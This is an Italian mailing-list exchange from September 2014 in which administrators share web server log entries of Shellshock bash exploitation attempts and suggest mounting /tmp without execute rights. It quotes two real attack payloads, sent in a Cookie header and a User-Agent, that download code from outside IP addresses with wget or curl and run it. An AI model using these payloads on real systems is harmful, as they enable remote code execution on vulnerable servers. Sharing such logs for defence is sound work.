On 25/set/2014, at 14:45, Paolo Pedaletti <[email protected]> wrote:
> ciao Jan,
>
>> Cookie:() { :; }; wget -O /tmp/besh http://162.253.66.76/nginx; chmod
>> 777 /tmp/besh; /tmp/besh;{0D}{0A}
>
> ecco un buon motivo per montare /tmp su un FS a parte e in modalita' no-exec
Ciao a tutti, un piccolo contributo di quanto trovato nei log:
[25/Sep/2014:15:41:06 +0200] "GET /cgi-bin/his HTTP/1.0" 403 213 "-" "() { :;};
/bin/bash -c \"cd /tmp;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf
/tmp/jur\""
-Michele
smime.p7s
Description: S/MIME cryptographic signature
